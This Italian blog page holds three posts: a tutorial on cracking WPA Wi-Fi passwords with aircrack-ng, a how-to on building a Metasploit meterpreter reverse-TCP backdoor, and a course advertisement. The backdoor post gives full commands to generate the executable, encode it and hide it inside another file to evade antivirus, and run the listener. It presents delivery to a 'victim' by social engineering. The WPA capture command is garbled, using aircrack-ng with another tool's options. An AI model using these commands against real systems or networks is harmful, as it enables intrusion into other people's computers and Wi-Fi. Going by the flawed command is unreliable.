mercoledì 14 agosto 2013

Crackare WPA di qualunque router

Tutti parlano di quanto sia semplice il cracking delle WPA dei router Alice e Fastweb, ma nessuno ha mai parlato di come crackare le password dei router di altri gestori. Questo perchè è molto più difficile sia in linea teorica, che pratica.
Noi comunque andremo a scoprire tutta la parte teorica, e il se passare alla pratica lo deciderete voi, anche perchè comporta una spesa non da poco.
Andiamo per ordine, come prima cosa dobbiamo parlare dei vari sistemi di sicurezza delle reti wireless

Sistemi di sicurezza

Oltre alle forme di sicurezza basilari, quali il nascondere la rete wireless e il filtro dei Mac address, ci sono dei sistemi di sicurezza che agiscono al livello 2 del modello OSI.
Quando si parla di protezione delle reti wireless, bisogna differenziare i metodi di autenticazione da quelli di cifratura. L'autenticazione, oltre a dare un' identità al client deve anche generare una chiave come parametro della funzione di cifratura.
I metodi di autenticazione, sono sostanzialmente 2:
- WpA-PSK: Wifi Protected Access - Pre-Shared Key, il quale cifra le connessioni tramite una chiave precondivisa da passare come parametro alla funzione di cifratura
-Wpa Enterprise: è un sistema di autenticazione che veicola le comunicazioni ad un server RADIUS e che supporta vari protocolli autenticazione, tra i quali EAP (Extensible Authentication Protocol), EAP-TTLS, PEAP ed EAP-Fast

WPA2 è un sistema di autenticazione molto più sicuro del suo predecessore WPA perchè supporta la cifratura con TKIP, ma soprattutto con AES (Advanced Encryption System).

Per quanto riguarda la cifratura ne ho gia citati 2 di 3, e il terzo è il più conosciuto per la sua estrema facilità di crack.
I sistemi di cifratura, sono quindi 3:
-WEP (Wired Equivalent Privacy): 
non spiegherò la pratica del cracking di questo sistema di cifratura perchè si trovano milioni di guide con una semplice ricerca su google, ma ve ne spiegherò la teoria, la quale è piú difficile da trovare.
Esistono due metodi per il cracking di questo tipo di reti: l'attacco passivo, che richiede molto tempo e l'attacco ARP replay con falsa autenticazione.
Il secondo è una completazione del primo, ora vediamo il perchè.
La criptazione dati di WEP, è semplicemente data dallo XOR del testo con la chiave di criptazione, che chiameremo keystream.
Questa keystream, è a sua volta data dalla chiave di criptazione nel router + un vettore di inizializzazione (IV), il quale viene posto alla fine dell'header di ogni frame. Essendo questo IV di 24 bit, è molto probabile che nello scambio di frame ci siano vari IV uguali, quindi confrontando molti frame con IV uguali, con un buon calcolatore si può trovare la chiave in breve tempo.
Quando WEP venne rilasciato, per raccogliere molti frame, ci voleva molto tempo, anche in base all'attività sulla rete, quindi l'attacco passivo, poteva richiedere molto tempo.
Dopo qualche tempo venne scoperto che l'algoritmo WEP era vulnerabile all'attacco replay, cioè un attacco che permette di generare centinaia di frame in pochi secondi. In questo modo la fase di raccolta dati sarà ridotta a meno di 10 minuti, e il crack della password, sarà molto più semplice, data la grande quantità di dati da poter elaborare.

TKIP (Temporal Key Integrity Protocol)
Quando si vennero a sapere tutte le vulnerabilità del protocollo WEP si sentì l'esigenza di creare un altro sistema di sicurezza, che fosse supportato dagli hardware di vecchia generazione, in modo che sarebbe bastato un semplice aggiornamento del firmware per eliminare il problema di WEP.
WPA si basa su questo sistema di cifratura, e utilizza solo questo.
In seguito andremo quindi a vedere come si può bucare questo protocollo.

AES-CCPM (Advanced Encryption System - Counter Mode with Cipher Block Channing Message Authentication Code Protocol)
Questo sistema di cifratura è nato insieme a TKIP, ma non è supportato dal vecchio hardware. É sicuramente il sistema di sicurezza più sicuro, ed è ora supportato da WPA2 in tutti i router attualmente disponibili.

CRACKING DI WPA-PSK

Quando parliamo del cracking di WPA, parliamo indirettamente del cracking di TKIP.
Al momento non sono ancora state trovate falle importanti in questo protocollo, per questo è rimasto, tutt'ora, molto popolare.
Quindi ora vi starete chiedendo come sia possibile trovare una password per questo tipo di protocollo.
Ebbene, come molti sapranno, spesso, in questi casi, vanno usati il dictionary attack e il bruteforce.
Il problema fondamentale è che queste password possono essere dai 3 ai 63 caratteri ASCII e vengono sottoposte all'hashing per 4096 volte. Questa password è, in questo caso, la Pre-Shared Key (PSK). La PSK serve a generare due chiavi di cifratura che poi verranno passate alla funzione: la PTK e la GTK.
Vi starete chiedendo come si possa ora effettuare un bruteforce, e come possa essere questo attacco veramente efficace.
L'efficacia, mi permetto di dire, che è data principalmente dal fatto che si possa lavorare offline. Ma su cosa? Bhè, dato che la creazione di queste due chiavi avviene durante un processo di autenticazione chiamato four-way handshake, intercettando questo processo potremo tentare di brutare la chiave precondivisa.
Fare questo è la cosa più facile del mondo, con aircrack-ng.
Questo è il comando:
aircrack-ng --channel "channel della rete" --write handshake --bssid "bssid della rete" mon0

Scandagliamo: l'opzione --write, serve a scrivere l'handshake in un file che io ho chiamato handshake, l'opzione --bssid serve a focalizzare lo sniff sulla rete bersaglio, e mon0 è la nostra interfaccia di rete, precedentemente messa in monitor mod.

Fatto questo potremo dare in pasto ad aircrack-ng stesso, il file, indicando anche un file contenente il dizionario, per iniziare offline il dictionary attack.
Per fare questo, utilizzeremo il seguente comando:

aircrack-ng -w dizionario.lst Handshake.cap

Scandagliamo: l'opzione -w serve per indicare il dizionario, mentre Handshake.cap è il file che abbiamo scritto precedentemente.
Il programma per verificare che la chiave sia veramente esatta deve effettuare l'hashing della parola, anch'esso per 4096 volte. Questa operazione richiede tempo, ma nonostante ciò il programma può elaborare circa 2500 parole al secondo, con un processore moderno. Nonostante questo sia già sbalorditivo, esistono due metodi che permettono di centuplicare il risultato di calcolo. Il primo di questi è l'uso delle rainbow tables precalcolate. Il problema di queste è che necessitano di un SSID comune, poichè l'hashing è fatto proprio con l'SSID della rete.
Un altro metodo per velocizzare il bruteforcing è l'utilizzo della GPU, il nostro processore grafico, poiche è molto più efficente dei processori normali. In base alla potenza della vostra scheda grafica potrete ottenere delle prestazioni anche superiori all'uso delle rainbow tables.
Con questo ho concluso.

domenica 17 marzo 2013

Creazione di un Backdoor con i PayLoads di Metasploit

Quasi tutti i Pentesters e gli appassionati di informatica non specializzati, conosceranno il famigerato framework "Metasploit". Chi non lo conosce si informi, perché ha un bel mondo da scoprire avanti a se.
Chi ha mai tentato di effettuare un pentesting su un sistema (anche quello di casa sua), conoscerà il grande "msfpayload" che in pratica è il tool che permette al pentester di avere il controllo del pc exploitato. Però, molti non sanno che i payload generati possono anche essere racchiusi in un eseguibile da mandare alla nostra vittima manualmente, quindi chi non riuscisse a trovare una vulnerabilità del sistema, può sempre affidarsi a questo metodo secondario che richiede semplicemente il buon vecchio social engineering.

Bando alle ciance e ciancio alle bande, quel che voglio mostrarvi oggi è proprio questo ed è ottenibile tramite una funzione già integrata nell'msfpayload, quindi per fare un articolo un po più ricco, vedremo come attaccare un sistema tramite questa tecnica, usando come payload il classico meterpreter in reverse_tcp criptato in modo da essere quasi FUD

Mettiamo mano a backtrack (usate quel che volete), e come prima con il comando "ifconfig" vediamo qual'è il local host.
Capito questo, nel mio caso 192.168.1.4, vediamo come creare un file con estensione .exe tramite metasploit, ma senza alcuna criptazione:
- msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.4 lport=4444 X > meterpreter.exe

Quel parametro "X > meterpreter.exe" è proprio quello che ci interessa per creare il file, che si chiamerà appunto "meterpreter.exe".

Adesso invece, cambieremo qualche cosetta in modo da rendere il nostro backdoor completamente non rilevabile dagli antivirus, con questo comando:

-msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.4 lport=4444 R | msfencode -t exe -c 2 -x /root/Desktop/file.exe > encoded.exe

Attenzione, analizziamo insieme il comando. L'opzione R serve a passare il comando all'msfencode, "-t" specifica l'estensione del file da criptare, "-c" imposta il numero di criptazioni e "-x /root/Desktop/file.exe" serve a implementare il payload nel file.
In questo modo avrete ottenuto un vero e proprio backdoor con connessione reverse tcp e con una grande possibiltà di bypassing degli antivirus.

Ovviamente, per poter far funzionare il nostro eseguibile avremo infine bisogno di un qualcosa che ci faccia da client per il ricevimento delle informazioni e questo è ottenibile, semplicemente digitando:

-msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=192.168.1.4 lport=4444 E

Così facendo, appena il client troverà la connessione in entrata aprirà la sessione di meterpreter e sarete dentro.

A presto


sabato 23 febbraio 2013

eLearnSecurity Students pack v2 a breve rilasciato

Tutti gli appassionati di PenTesting conosceranno eLearnSecurity, la compagnia Italiana che ha inizializzato al PT migliaia di persone con guide studiate nel dettaglio per fornire ai beginners appassionati, tutti li strumenti per fare pratica, con la teoria sotto mano...
Per chi non lo conoscesse, consiglio vivamente di visitare il sito e dare un'occhiata alle svariate possibilità di apprendimento fornite.
Bando alle ciance, martedì 19 febbraio, durante un loro webinar, al quale ho volentieri assistito, hanno annunciato il lancio dello  Penetration Testing student v.2, cioè un pacchetto attualissimo, trattante tutte le svariate sfaccettature del pentesting; dalla sicurezza sul web (sniffing e i vari attacchi) alla sicurezza delle applicazione web (trattando xss, sql injection e quant'altro...), senza dimenticarsi ovviamente della sicurezza dei programmi e del sistema (con una breve introduzione all'asm al c++ e al C, e lo studio di attacchi come il buffer overflow, stack overflow...).

Io lo consiglio veramente a tutti quelli che hanno tempo e passione per addentrarsi nell'argomento, poiché tratta veramente in modo ben fatto tutti gli argomenti che, se studiati sul web, richiedono il triplo del tempo di studio.
Per tutte le informazioni, visitate il sito ELearnSecurity e ordinate il vostro pacchetto.
La data di uscita ufficiale è il 26 febbraio.
Buono studio a tutti.
Related Posts Plugin for WordPress, Blogger...